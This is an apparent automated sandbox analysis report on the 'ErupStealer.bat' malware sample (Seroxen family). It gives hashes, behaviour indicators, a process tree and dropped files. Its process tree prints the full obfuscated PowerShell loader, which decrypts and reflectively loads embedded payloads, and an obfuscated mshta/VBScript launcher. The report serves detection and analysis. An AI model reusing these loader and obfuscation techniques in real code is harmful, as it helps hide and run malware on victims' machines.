050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea

General

Target

ErupStealer.bat
Size

14.6MB
MD5

9644bf6130818a23b7820e4441d84d6a
SHA1

654d821a794488acba87a809e8eab889eb9845db
SHA256

050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea
SHA512

db83473f76f680fa8f93da5bfa71d2b396f4cef44d222e75430a09432c68b67e37c92ca56b7f5d54265cbbb44145df00a11ccf89c498a391af609a2976c6beb9
SSDEEP

49152:VfcOj5SiJ6+FBW/rRNkFa34CG36ICLvbtSAKsASfycGoA+uVteH7ki8KjXtXH8xU:u

Score

10^/10

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4112 created 588	4112	ErupStealer.bat.exe	4

Executes dropped EXE 1 IoCs

pid	Process
4112	ErupStealer.bat.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\vcruntime140_1d.dll	ErupStealer.bat.exe
File opened for modification	C:\Windows\System32\vcruntime140d.dll	ErupStealer.bat.exe
File created	C:\Windows\System32\ucrtbased.dll	ErupStealer.bat.exe
File created	C:\Windows\System32\vcruntime140_1d.dll	ErupStealer.bat.exe
File created	C:\Windows\System32\vcruntime140d.dll	ErupStealer.bat.exe
File opened for modification	C:\Windows\System32\ucrtbased.dll	ErupStealer.bat.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4112 set thread context of 4424	4112	ErupStealer.bat.exe	75
PID 4112 set thread context of 4192	4112	ErupStealer.bat.exe	76

Drops file in Windows directory 8 IoCs

description	ioc	Process
File created	C:\Windows\$sxr-powershell.exe	ErupStealer.bat.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	ErupStealer.bat.exe
File created	C:\Windows\$sxr-mshta.exe	ErupStealer.bat.exe
File opened for modification	C:\Windows\$sxr-mshta.exe	ErupStealer.bat.exe
File created	C:\Windows\$sxr-cmd.exe	ErupStealer.bat.exe
File opened for modification	C:\Windows\$sxr-cmd.exe	ErupStealer.bat.exe
File created	C:\Windows\$sxr-seroxen2\$sxr-Uni.bat	cmd.exe
File opened for modification	C:\Windows\$sxr-seroxen2\$sxr-Uni.bat	cmd.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
4112	ErupStealer.bat.exe
4112	ErupStealer.bat.exe
4112	ErupStealer.bat.exe
4112	ErupStealer.bat.exe
4424	dllhost.exe
4424	dllhost.exe
4424	dllhost.exe
4424	dllhost.exe
4192	dllhost.exe
4192	dllhost.exe
4192	dllhost.exe
4192	dllhost.exe
4112	ErupStealer.bat.exe
4112	ErupStealer.bat.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4112	ErupStealer.bat.exe
Token: SeDebugPrivilege	4112	ErupStealer.bat.exe
Token: SeDebugPrivilege	4424	dllhost.exe
Token: SeDebugPrivilege	4192	dllhost.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 2828 wrote to memory of 4252	2828	cmd.exe	71
PID 2828 wrote to memory of 4252	2828	cmd.exe	71
PID 4252 wrote to memory of 392	4252	net.exe	72
PID 4252 wrote to memory of 392	4252	net.exe	72
PID 2828 wrote to memory of 4112	2828	cmd.exe	73
PID 2828 wrote to memory of 4112	2828	cmd.exe	73
PID 4112 wrote to memory of 4424	4112	ErupStealer.bat.exe	75
PID 4112 wrote to memory of 4424	4112	ErupStealer.bat.exe	75
PID 4112 wrote to memory of 4424	4112	ErupStealer.bat.exe	75
PID 4112 wrote to memory of 4424	4112	ErupStealer.bat.exe	75
PID 4112 wrote to memory of 4424	4112	ErupStealer.bat.exe	75
PID 4112 wrote to memory of 4424	4112	ErupStealer.bat.exe	75
PID 4112 wrote to memory of 4424	4112	ErupStealer.bat.exe	75
PID 4112 wrote to memory of 4192	4112	ErupStealer.bat.exe	76
PID 4112 wrote to memory of 4192	4112	ErupStealer.bat.exe	76
PID 4112 wrote to memory of 4192	4112	ErupStealer.bat.exe	76
PID 4112 wrote to memory of 4192	4112	ErupStealer.bat.exe	76
PID 4112 wrote to memory of 4192	4112	ErupStealer.bat.exe	76
PID 4112 wrote to memory of 4192	4112	ErupStealer.bat.exe	76
PID 4112 wrote to memory of 4192	4112	ErupStealer.bat.exe	76
PID 4112 wrote to memory of 4192	4112	ErupStealer.bat.exe	76
PID 4112 wrote to memory of 4192	4112	ErupStealer.bat.exe	76

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:588
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{2ff1e438-5ff3-4a5f-b987-05b6eb494b3b}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4424

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ErupStealer.bat"
1⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2828
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4252
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:392
- C:\Users\Admin\AppData\Local\Temp\ErupStealer.bat.exe
  "ErupStealer.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function mwWOh($uwovJ){ $lIKee=[System.Security.Cryptography.Aes]::Create(); $lIKee.Mode=[System.Security.Cryptography.CipherMode]::CBC; $lIKee.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $lIKee.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4/MHVPOJNXCgMmApeZ/aW7DfvfpDsQu0DAqCZk9AP30='); $lIKee.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GRBc4aBzawKiY1avi58oMw=='); $epLsM=$lIKee.CreateDecryptor(); $return_var=$epLsM.TransformFinalBlock($uwovJ, 0, $uwovJ.Length); $epLsM.Dispose(); $lIKee.Dispose(); $return_var;}function XhrFJ($uwovJ){ $kffSF=New-Object System.IO.MemoryStream(,$uwovJ); $YpnXE=New-Object System.IO.MemoryStream; $ynBsy=New-Object System.IO.Compression.GZipStream($kffSF, [IO.Compression.CompressionMode]::Decompress); $ynBsy.CopyTo($YpnXE); $ynBsy.Dispose(); $kffSF.Dispose(); $YpnXE.Dispose(); $YpnXE.ToArray();}function btWsM($uwovJ,$rQWkL){ $vcWOa=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$uwovJ); $Zagwh=$vcWOa.EntryPoint; $Zagwh.Invoke($null, $rQWkL);}$chsAO=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\ErupStealer.bat').Split([Environment]::NewLine);foreach ($YTXXB in $chsAO) { if ($YTXXB.StartsWith('SEROXEN')) { $GBpWW=$YTXXB.Substring(7); break; }}$kYJLl=[string[]]$GBpWW.Split('\');$BbRnn=XhrFJ (mwWOh ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($kYJLl[0])));$IqrGF=XhrFJ (mwWOh ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($kYJLl[1])));btWsM $IqrGF (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));btWsM $BbRnn (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4112
- - C:\Windows\SysWOW64\dllhost.exe
    C:\Windows\SysWOW64\dllhost.exe /Processid:{df002af6-79f6-48e3-a023-f921f23c46a7}
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4192

C:\Windows\$sxr-mshta.exe
C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-ghkpOQAYRIzJOVXtopMV4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
1⤵
PID:224

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\ErupStealer.bat.exe

Filesize
435KB

MD5
f7722b62b4014e0c50adfa9d60cafa1c

SHA1
f31c17e0453f27be85730e316840f11522ddec3e

SHA256
ccc8538dd62f20999717e2bbab58a18973b938968d699154df9233698a899efa

SHA512
7fe6a32f1a69ffdae5edc450a1fcbaed5eac805cb43abd86c5c54de59219f801c71d2a0c816ac182a5bfa568196463a351a86ac8d782423cab1e15648e5af8e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\ErupStealer.bat.exe

Filesize
435KB

MD5
f7722b62b4014e0c50adfa9d60cafa1c

SHA1
f31c17e0453f27be85730e316840f11522ddec3e

SHA256
ccc8538dd62f20999717e2bbab58a18973b938968d699154df9233698a899efa

SHA512
7fe6a32f1a69ffdae5edc450a1fcbaed5eac805cb43abd86c5c54de59219f801c71d2a0c816ac182a5bfa568196463a351a86ac8d782423cab1e15648e5af8e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_a0h4hfnk.ema.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Windows\$sxr-powershell.exe

Filesize
435KB

MD5
f7722b62b4014e0c50adfa9d60cafa1c

SHA1
f31c17e0453f27be85730e316840f11522ddec3e

SHA256
ccc8538dd62f20999717e2bbab58a18973b938968d699154df9233698a899efa

SHA512
7fe6a32f1a69ffdae5edc450a1fcbaed5eac805cb43abd86c5c54de59219f801c71d2a0c816ac182a5bfa568196463a351a86ac8d782423cab1e15648e5af8e4

Download Submit
memory/4112-42-0x00007FFB7C690000-0x00007FFB7C73E000-memory.dmp

Filesize
696KB

Download
memory/4112-46-0x00007FFB7E020000-0x00007FFB7E1FB000-memory.dmp

Filesize
1.9MB

Download
memory/4112-12-0x000001C0D1FB0000-0x000001C0D1FC0000-memory.dmp

Filesize
64KB

Download
memory/4112-29-0x000001C0D1FB0000-0x000001C0D1FC0000-memory.dmp

Filesize
64KB

Download
memory/4112-34-0x00007FFB72500000-0x00007FFB72EEC000-memory.dmp

Filesize
9.9MB

Download
memory/4112-35-0x000001C0D1FB0000-0x000001C0D1FC0000-memory.dmp

Filesize
64KB

Download
memory/4112-36-0x000001C0D2220000-0x000001C0D2244000-memory.dmp

Filesize
144KB

Download
memory/4112-39-0x000001C0D1FB0000-0x000001C0D1FC0000-memory.dmp

Filesize
64KB

Download
memory/4112-41-0x00007FFB7E020000-0x00007FFB7E1FB000-memory.dmp

Filesize
1.9MB

Download
memory/4112-43-0x000001C0D1FB0000-0x000001C0D1FC0000-memory.dmp

Filesize
64KB

Download
memory/4112-13-0x000001C0D1FB0000-0x000001C0D1FC0000-memory.dmp

Filesize
64KB

Download
memory/4112-44-0x000001C080290000-0x000001C080EA8000-memory.dmp

Filesize
12.1MB

Download
memory/4112-11-0x00007FFB72500000-0x00007FFB72EEC000-memory.dmp

Filesize
9.9MB

Download
memory/4112-18-0x000001C0D22A0000-0x000001C0D2316000-memory.dmp

Filesize
472KB

Download
memory/4112-47-0x000001C088FB0000-0x000001C08915E000-memory.dmp

Filesize
1.7MB

Download
memory/4112-62-0x000001C089160000-0x000001C0892BE000-memory.dmp

Filesize
1.4MB

Download
memory/4112-63-0x000001C0892C0000-0x000001C089318000-memory.dmp

Filesize
352KB

Download
memory/4112-64-0x000001C089320000-0x000001C089330000-memory.dmp

Filesize
64KB

Download
memory/4112-68-0x00007FFB7E020000-0x00007FFB7E1FB000-memory.dmp

Filesize
1.9MB

Download
memory/4112-10-0x000001C0D20F0000-0x000001C0D2112000-memory.dmp

Filesize
136KB

Download
memory/4112-83-0x00007FFB7C690000-0x00007FFB7C73E000-memory.dmp

Filesize
696KB

Download
memory/4112-76-0x00007FFB7E020000-0x00007FFB7E1FB000-memory.dmp

Filesize
1.9MB

Download
memory/4192-75-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/4192-73-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/4424-72-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/4424-70-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download

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